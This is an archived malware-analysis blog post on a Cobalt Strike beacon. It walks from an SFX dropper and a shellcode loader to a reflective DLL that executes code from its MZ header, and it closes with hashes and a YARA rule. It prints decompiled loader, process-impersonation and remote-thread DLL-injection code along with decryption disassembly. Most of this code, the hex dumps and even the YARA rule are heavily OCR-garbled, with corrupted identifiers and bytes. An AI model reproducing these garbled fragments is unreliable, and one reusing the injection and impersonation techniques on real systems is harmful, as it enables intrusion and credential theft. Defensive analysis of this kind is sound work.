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CobaltStrike - beacon.dll : Your No Ordinary MZ Header

Published: 2019-11-05 - Archived: 2026-04-05 20:04:44 UTC

Today I found some interesting sample that was flag as cobaltstrike sample in app.any.run (links are below). The
execution of this file is quite interesting how it evade detection by running multi-component files and maximize the

DOS header to execute small shellcode.

SFX CODE:

This sample start with a SFX file that contains an executable name as "virus_load.exe" and a blob file name as

"k2Hw". The sfx will run the virus_load.exe base on the setup script of the sfx file.
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figure 1: the sfx to execute virus_load.exe

virus_load.exe and the k2Hw files:

this part of execution is also interesting, because virus_load.exe is only a loader of "k2Hw". The said blob file is a

shellcode that will decrypt and execute the "beacon.dll" by calling CreateThread API.
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1int __cdecl main_@(int argc, coenst char **argv, const char **envp)
2

4 LPTHREAD_START_ROUTINE lpStartAddress; //
5 nid *Spcs

vl 2y &

ANOLE hHandle: /7

HANDLE dle; /4

int size; //
FILE *Stream; //

oo

= fopen("k2Hw", “rb"});

18| if ( ! )

11| {

12 fputs("File error™, &::5tream);
13 exit(1);

14| }

15 fseek( , B, 2%;

16 = ftell( 1

17 rewind( 1i

18 = malloc( 1i

19 fread( s lu, ' H

28 fclose( )i

ystartad (LPTHREAD START_ROUTINE)Virtualalloc(@, @x34248u, @x1e86u, @x48u);
22| memcpy(lp

¥ ¥
23 CreateThread(®, 8, lp J-tadd , B, B, 8);
24 WaitForSingleObject( » BxFFFFFFFu);
25 return 8;
26}

figure 2: virus_load.exe loading the "k2Hw" blob file.

The shellcode is not big actually, the only task it will do is to decrypt the actual payload which is the beacon.dll using
the initial decryption key in offset 0x40.

BIBBERE3IE —1
fBABEE14 - eCcx
BBABE1s - edx,
(61515151515 ecx,.4
saBaBE1n - edi.
ABRABE1C: edi.edx
AAAAAA1E: 83CiA4 ecx,.4
ARRARARZ21 - 51 puszh BCX
fBABER22:-: BH19 mou ebx,
ARRARARZ4: 31D3 Xop ehx,edx
fBABER26 - 8919 mou ~ebx
ARAABAZ8 - 31DA Xop edx,ehx
AAAAAA2A: 83C1iA4 add ecx,.4
AAAAAA2D: B3EFA4 suh edi.d
ARRAAA3A: 31DB Xop ehx,.ehx
ARBAAA32 - 39DF cmp edi,ehx
AlRARA34: 7482 J= ggBBERE38 —1
ABPARA36 = EBEA Jmps dgaBpRE22 —1
BBBBBE38 - S5A pop edx
ABRARA39? : FFE2 Jmp edx
APARA3B: E8D4FFFFFF call daBgRE1i4 —1
88BaEA48: 5A pop edx
AlPARA41 : DA2ZS5ACSAT826 fizub
B08AEA47: AC lodsh

figure 3: decryption routine to decrypt the beacon.dll
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pBBnBN16: 3C EB 27— BB 11 83-C1 B4
PABRABAL R4 - B] 9-31 D3 89 19-31
pRBRBA3A : : JF-74 82 EB EA-5A
ARBNBA46: 1 AC-17
PRBRBASAH: 2—C A 33-68
PRBRBA6A: 3 - B8D-96

avvBBn1a: D9 .8 27-59
ABBBBR28: A4 5 } 19-31
ABBBBA3a: 31 )
ARRRRR40: [ SAH AC-8e
AaBeanRsA: 9E S5F 9F B2-CB D
F§ C9 94 @D-9@ CD

figure 4: the initial structure of the k2Hw shellcode

Interesting Execution of Its Export function:

This part is quite interesting, because it just used around 40 bytes of code including the actual "MZ" header to jump or

to execute its export function " _ReflectiveLoader@4".

EB27 Jjmps PAPPPPO3B ——1
59 4pop

ggél 04 add CX = Ox44
1 a - -
8B39 mov i E Ox:

31D7 XOoPr i,

83C1084 add ...
51 push ) ECX = 0x48
8B19 mov

31D3 X0 P ehx,.edx

8919 mov ~ehx
31DA X0 edx.ebx
83C164 add ecx,4

83EF#A4 sub edi,4

31DB The delta offset By ebx. ebx

39DF cmp edi, ebx

72482 .- Jz BBA0al ——1:

PAAAAA36 : EBEA-" imps ARNAAG '
AABBAA38 : 5/ Zpop ol
90 .‘.F'FEZ = . Jump to 0x48

E8D4FFFFFF ycall 1615155151515 0 !
n pop edx
DA25AC5R?826 fisub

AC lodsh

- . dec ehp
5A MZ Header pop edx
E800B00B00 call ANABPAR4F ——1

5B pop ebx
89DF mowv edi,ehx
PERRAAS2: 52 push edx
RABARBAS3 : 45 inc ehp
55 push ehp
89ES mov ebp,esp
81C3559168080 add ebx ApBBAT155
- FFD3 call
APARAASF: 68FBBS5A256 push
IABB0R64: 6804000000 push
57 push
PAGOOAGA : FFDD call
ARARARA™ = ARRER add

figure 5: the shellcode structure including the MZ header
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ABBBEAYS :
ABPRAASS :
HEABEA8 -
AEABAAAS =
HIAAAARBSs -

d8ABEAADS :
APBABBAES :
HAABAAFS =
HEAEE188 -
HBABA118 =
BBBBA128 :

_Reflec:i> 53_“

-18889D5D:
-18889D5F:
.18889D62 :
-18089D63 :
-18089D64 :
-18689D68 -
-18889D6C:
-.18889D78:
.18889D75:
-18889D78 :
.18889D7A :
-188A9D78:
-18889D7D:
-18889D88:
.18889D83 :

L
HBBR?1A4:
AAAA?1A5 =
BeBB?1AY:
AAAA%1AA =
BABR?1AB:
AAAAT1AC:
HAAA?1B8:
HBPa?1B4:
088188 -
AABA?1BD:
AAAA1(
aaaa9
5151515
Be8aa?1
AAPAY1C8 =
BABR?1CB:

ARARADA TiA -

?4
3E

e ]
oy

b4 BS
5D 2
64

b4

00 00

h'bBPHHM

ESAannna

8F4594
33Ca

B
YELT!
8B4594
BFB708
3D4D5 A Qe

5EJLSHH
8365BCHA
8365F0BB
ESBpBaBBBa
8F4594
33CH
44
7444
8B4594
AFB7AA
3D4D5ABBBA

o
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P8 BO-09

= ]

4F
4F
4F
4F
aa

5B-89
68-F@
08-88
Ha-b
cDh-21
72-61
6E-28

1bB-b4
1B-7A
1B-64
1B-52
Ba-80

Ba
E?
BS
b9
515

69

.. él L 204« ! 53 &
= E Shellcode in DOS header 1

Br -

G
' 4E
DD
63
aa

1B-F8
1B-99
1B-7B
68-7A
a8-0a

E?
E?
E?
aa

ivliR {o=t7EL="Th
is program canno
run in DOS

J'qfutU#th*

a]

|| t0edd ] <<
{10+Richz

push

Mo
sub
push
push
and
and
and
call

pnp

[ LT 4

Ex'port Fuhction

push
and
and
and
call
pop
KO
inc
Jjz
now
MoVEX
cmp

ane

figure 6: 0x4F + 0x9155 = 0x91A4 the export function of this dll payload.

Some Backdoor

Features:

- 818887 D75

eax.eax
EaX
-818882DC1
eax.,.
eax.
r"< APPEASA4D ;°*

___L'

ZH’

A0BA?1BD

eax, eax
eax
ARAA?2a9
eax,

—42

IB5A4D
AR —=1

;J ZH‘F

[AAARARA

This .dll file is waiting for some backdoor command to execute several function to the infected machine. some of it is

read file, write file, Open Process, Set Current Directory, Impersonate Process, LSA server un-trusted connection ,

Create and Open services, code Injection and many more.
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TokenHandle = @:

if ( a2 == 4 )

1
w2 = mtohl{*al);
prochandle = OpenProcess(PROCESS_QUERY_INFORMATION, @, v2);
if { prochandle )

if ( OpenProcessToken(prochandle, TOKEN _ALL ACCESS, &TckenHandle) )
{

func_terminateImperscnation_8();

if ( ImpersonateLoggedOnUser(TokenHandle) )

if ( DuplicateTockenEx(TckenHandle, @x2000080u, ®, SecurityDelegation, TokenPrimary, &phToken) )
if { ImperscnateloggedOnUser({phToken) )

CloseHandle(prochandle);
if ( TokenHandle )
CloseHandle(TokenHandle);
if ( func_PArseAccountSid{5rc, phToken, @x288u) )
sub_1@8881355(5rc, &Src[strlen(Src) + 1] - &5rc[1], @xFu);
b

else

1
v8 = GetLastError();
sub_16881B1A(@x27u, v2, va);

figure 7: Process Impersonation

L4

4 = OpenProcess(@x4348u, @, v3);
f ( vd )

-

vE = GetCurrentProcess();
w7 = func_GetCurProc((int)va);
if { v7 == func_GetCurProc((int)wv4) )

1
vd = VirtualAllocEx(wvd, @, dwSize, @x3600u, xd40u);
if (w3 )
1
if ( WriteProcessMemory({wv4, w8, lpLibFileName, dwSize, &NumberOfBytesliritten) )
1

if { !CreateRemoteThread(v4, @, @, (LPTHREAD START ROUTINE)LoadlLibraryd, w3, @, @) )
1

wll = GetLastError();
sub_10@@1B1A(@x20u, vii, vil);

h
¥

else

figure 8: CurrentProcess Code Injection
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[ — - PR

_ -1
NTSTATUS wd; // eax

PVOID ProtocolReturnBuffer; // [esp+8h] [ebp-Ch]
ULONG ReturnBufferLength; // [esptCh] [ebp-8h]
NTSTATUS ProtocolStatus; // [esp+l@h] [ebp-4h]

func_LsaConnectUntrusted();

result = LocalAlloc(@x48u, al + 36);
v3i = result;
if { result )

*result = 21;

result[7] = al;
result[8] = 36;
memcpy @(result + 9, 5rc, al);
v4 = func_LsacallAuthenticationPackage(v3, al + 36, &ProtocolReturnBuffer, &ReturnBufferLength, &ProtocolStatus);
if ( v4 < @ || ProtocolStatus < @ )
sub_leselAlda(@x1Du, vi);
result = LocalFree(v3});

}

return result;

figure 9: LSA Server Connection

Conclusion:

In this sample we saw how malware try to use different approach to execute their code even in the actual DOS header

of the PE file. This technique is not new but still effective to run code or shellcode.

I0C:

Debug.exe

Shal: 9e16e2de4e4da93965b3cbcd19bbaf32b490bf63

md5: e2d265ced204eb807cb5ed0093500205

Sha256: 3462e89f38d399d93e2dbe2cf415f8dabbd93c45bd8b9725274116c9b309be88

beacon.dll

Shal: 19359d10155d98414c03951fd4871c0b387f7dd7

Md5: 5cd3ba72cda97276bb77c42e42e2fb7c

Sha256: 31d9bde8825cad11a6072fc2b8f320e2686966232b7471fe2fb9ea2ca2873fbd

https://www.virustotal.com/gui/file/3462e89f38d399d93e2dbe2cf415f8dabbd93c45bd8b9725274116c9b309be88/detection

YARA:

import "pe"

rule unpack_CobaltStrike_beacon_d11_ {
meta:
author = "tcontre"
description = "detecting Cobaltstrike malware"
date = "2019-11-05"
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sha256 = "31d9bde8825cad11a6072fc2b81320e2686966232b7471fe2fb9ea2ca2873fhd"

strings:
$mz = { 4d 5a }

$shell = { 4D 5A E8 00 00 00 00 5B 89 DF 52 45 55 89 E5 81 C3 55 91 00 00 FF D3 }
$code2 = { 64 AT 30 00 00 00 89 45 (@ 8B 45 (0 8B 40 0C 89 }

$code3 = { 8B 45 8C C1 (8 @D 89 45 8C 8B 45 88 OF BE 00 03}

$s1 = "cdn.%x%x.%s" fullword

$s2 = "twwwb.%x%x.%s" fullword

$s3 = "%s.2%08x%08x%08x%08x%08x . %08x%08x%08x%08x%08x . %x%x . %s" fullword

condition:
($mz at @) and ($shell at @) or 2 of ($code*) and 1 of (§s*)

Source: https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html
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